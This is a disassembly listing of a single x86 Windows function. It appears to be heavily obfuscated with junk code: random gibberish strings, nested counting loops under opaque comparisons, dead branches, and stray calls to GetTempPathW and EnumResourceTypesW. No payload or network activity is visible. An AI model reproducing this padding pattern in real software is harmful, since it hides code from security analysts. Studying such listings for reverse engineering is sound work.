lea ecx, [ebp - 0x504]
call fcn.004285f5
push 0xabbf98
lea ecx, [ebp - 0x504]
call fcn.00426c70
mov dword [ebp - 0x2c4], 0x2bd9
mov dword [ebp - 0x3bc], str.jeehfozr_efurla_yugkl_gzcapolgt_hxsa_okve_tvopye_hfdqmfvhq_hutozqz_jprvwzuq_limrgy
cmp dword [ebp - 0x2c4], 0x2c02
jle 0x412022
and dword [ebp - 0x150], 0
jmp 0x411f6f
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x4023
jge 0x412022
and dword [ebp - 0x158], 0
jmp 0x411f95
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x4071
jge 0x41201d
and dword [ebp - 0x160], 0
jmp 0x411fb7
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x18a9
jge 0x412018
mov eax, dword [ebp - 0x150]
sub eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x160]
shl eax, cl
cdq
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], edx
push dword [ebp - 0x3cc]
push dword [ebp - 0x3d0]
lea ecx, [ebp - 0x60c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x60c]
call fcn.00402cea
jmp 0x411faa
jmp 0x411f88
jmp 0x411f62
lea eax, [ebp - 0x4e4]
push eax
lea ecx, [ebp - 0x504]
call fcn.004035c9
push dword [eax]
lea eax, [ebp - 0x4ec]
push eax
lea ecx, [ebp - 0x504]
call fcn.004035b5
push dword [eax]
lea ecx, [ebp - 0x534]
call fcn.0042861e
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x2c4], 0x2806
jge 0x412074
push dword [ebp - 0x3bc]
call fcn.0048cb18
pop ecx
jmp 0x412090
or dword [ebp - 4], 0xffffffff
jmp 0x41209a
lea eax, [ebp - 0x534]
push eax
call fcn.0040610c
pop ecx
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x2f4], 0x1a22
mov dword [ebp - 0x3e0], str.uyiwzb_atsfpury_fahgmwv_tobh_mbgarzehw_tvm_bzpdflopl_rrumisxeu_nmglnz_vtbzv_hte_bigvjjx
cmp dword [ebp - 0x2f4], 0x1b40
jle 0x4121cf
and dword [ebp - 0x180], 0
jmp 0x4120e7
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xaae
jge 0x4121cf
and dword [ebp - 0x168], 0
jmp 0x41210d
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x50cc
jge 0x4121ca
and dword [ebp - 0x170], 0
jmp 0x412133
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x5372
jge 0x4121c5
and dword [ebp - 0x178], 0
jmp 0x412159
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x2a72
jge 0x4121c0
mov ecx, dword [ebp - 0x168]
sub ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x180]
sar eax, cl
cdq
mov dword [ebp - 0x3dc], eax
mov dword [ebp - 0x3d8], edx
push dword [ebp - 0x3d8]
push dword [ebp - 0x3dc]
lea ecx, [ebp - 0x63c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x63c]
call fcn.00402cea
jmp 0x41214c
jmp 0x412126
jmp 0x412100
jmp 0x4120da
cmp dword [ebp - 0x270], 0
je 0x4125ac
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x51c]
call fcn.00426c41
mov dword [ebp - 0x2cc], 0x5172
mov dword [ebp - 0x45c], str.yrtedw_qeuqjp_nhxix_gppxehyjq_ilwnveh_mxrmrbgb_pobzpbu_wogvbrvk
cmp dword [ebp - 0x2cc], 0x53b1
jle 0x41230b
and dword [ebp - 0x188], 0
jmp 0x412224
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x2b55
jge 0x41230b
and dword [ebp - 0x1a4], 0
jmp 0x41224a
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x7366
jge 0x412306
and dword [ebp - 0x1ac], 0
jmp 0x412270
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x3d3
jge 0x412301
and dword [ebp - 0x1b4], 0
jmp 0x412296
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x5f1f
jge 0x4122fc
mov eax, dword [ebp - 0x188]
imul eax, dword [ebp - 0x1a4]
sub eax, dword [ebp - 0x1ac]
sub eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], edx
push dword [ebp - 0x3e4]
push dword [ebp - 0x3e8]
lea ecx, [ebp - 0x66c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x66c]
call fcn.00402cea
jmp 0x412289
jmp 0x412263
jmp 0x41223d
jmp 0x412217
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x2cc], 0x4de6
jge 0x41232a
push dword [ebp - 0x45c]
call fcn.0048cb18
pop ecx
jmp 0x412346
or dword [ebp - 4], 0xffffffff
jmp 0x412350
lea edx, [ebp - 0x3c8]
lea ecx, [ebp - 0x51c]
call fcn.00405c4c
movzx eax, al
test eax, eax
je 0x41248d
mov dword [ebp - 0x2d4], 0x7811
mov dword [ebp - 0x468], str.pvkqbd_tejfzgglh_qmmbzk_iihjklpo_nvoajwdj_mzzjzmbwp_rnl_mbfxahbp_whprhndf_nymqxi_eihkqcet_azdqr_wswg
cmp dword [ebp - 0x2d4], 0x7afe
jle 0x412428
and dword [ebp - 0x1bc], 0
jmp 0x4123a6
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x7af7
jge 0x412428
and dword [ebp - 0x1c4], 0
jmp 0x4123c8
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x11fc
jge 0x412423
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1c4]
shl eax, cl
cdq
mov dword [ebp - 0x3f4], eax
mov dword [ebp - 0x3f0], edx
push dword [ebp - 0x3f0]
push dword [ebp - 0x3f4]
lea ecx, [ebp - 0x69c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x69c]
call fcn.00402cea
jmp 0x4123bb
jmp 0x412399
push 0
push dword [ebp - 0x3c8]
push 0
push dword [ebp - 0x270]
call fcn.0040f675
add esp, 0x10
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x2d4], 0x74fc
jge 0x412462
push dword [ebp - 0x468]
call fcn.0048cb18
pop ecx
jmp 0x41247e
or dword [ebp - 4], 0xffffffff
jmp 0x412488
jmp 0x41259c
mov dword [ebp - 0x2dc], 0x132
mov dword [ebp - 0x3d4], str.fumhuc_aupgir_xlzctkpvu_fgxncuvb_kke
cmp dword [ebp - 0x2dc], 0x4c5
jle 0x412537
and dword [ebp - 0x1cc], 0
jmp 0x4124c7
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x69bb
jge 0x41252b
and dword [ebp - 0x1d4], 0
jmp 0x4124e9
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x4215
jge 0x412529
mov eax, dword [ebp - 0x1cc]
cdq
idiv dword [ebp - 0x1d4]
mov eax, edx
cdq
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], edx
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x4124dc
jmp 0x4124ba
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 1
push 0
lea eax, [ebp - 0x51c]
push eax
push dword [ebp - 0x270]
call fcn.0040f675
add esp, 0x10
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x2dc], 0xfffffdac
jge 0x412576
mov edx, dword [ebp - 0x3d4]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x412592
or dword [ebp - 4], 0xffffffff
jmp 0x41259c
lea ecx, [ebp - 0x51c]
call fcn.00402ea1
jmp 0x412755
mov dword [ebp - 0x2ec], 0x3fdc
mov dword [ebp - 0x320], str.sii_sneawnc_ogwblui_yslse_zwkknpsx_ishcayve
cmp dword [ebp - 0x2ec], 0x40fd
jle 0x4126dd
and dword [ebp - 0x1f4], 0
jmp 0x4125e6
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x7627
jge 0x4126d0
and dword [ebp - 0x1dc], 0
jmp 0x41260c
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x2d75
jge 0x4126cb
and dword [ebp - 0x1e4], 0
jmp 0x412632
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x2d8b
jge 0x4126c6
and dword [ebp - 0x1ec], 0
jmp 0x412658
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x23f3
jge 0x4126c1
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x1e4]
sar eax, cl
mov ecx, dword [ebp - 0x1ec]
sar eax, cl
xor eax, dword [ebp - 0x1f4]
cdq
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], edx
push dword [ebp - 0x498]
push dword [ebp - 0x49c]
lea ecx, [ebp - 0x6cc]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x6cc]
call fcn.00402cea
jmp 0x41264b
jmp 0x412625
jmp 0x4125ff
jmp 0x4125d9
push 0
push 0x1aa0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp dword [ebp + 0x10], 0
jne 0x4126f3
mov ecx, dword [ebp + 0xc]
call fcn.00402efd
mov dword [ebp - 0x2e4], eax
jmp 0x4126fd
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x2e4], eax
push dword [ebp - 0x2e4]
push dword [ebp + 8]
call fcn.0040e431
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x2ec], 0x3e0d
jge 0x41272f
push dword [ebp - 0x320]
call fcn.0048cb18
pop ecx
jmp 0x41274b
or dword [ebp - 4], 0xffffffff
jmp 0x412755
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x2f4], 0x17b1
jge 0x412774
push dword [ebp - 0x3e0]
call fcn.0048cb18
pop ecx
jmp 0x412790
or dword [ebp - 4], 0xffffffff
jmp 0x41279a
lea ecx, [ebp - 0x534]
call fcn.00402d79
lea ecx, [ebp - 0x504]
call fcn.00402ea1
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x2fc], 0x1ee0
jge 0x4127cf
push dword [ebp - 0x480]
call fcn.0048cb18
pop ecx
jmp 0x4127eb
or dword [ebp - 4], 0xffffffff
jmp 0x4127f5
mov eax, dword [ebp - 0x24]
jmp 0x412845
mov dword [ebp - 4], 0x42
cmp dword [ebp - 0x304], 0x592e
jge 0x41281d
mov edx, dword [ebp - 0x3ec]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x412839
or dword [ebp - 4], 0xffffffff
jmp 0x412843
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret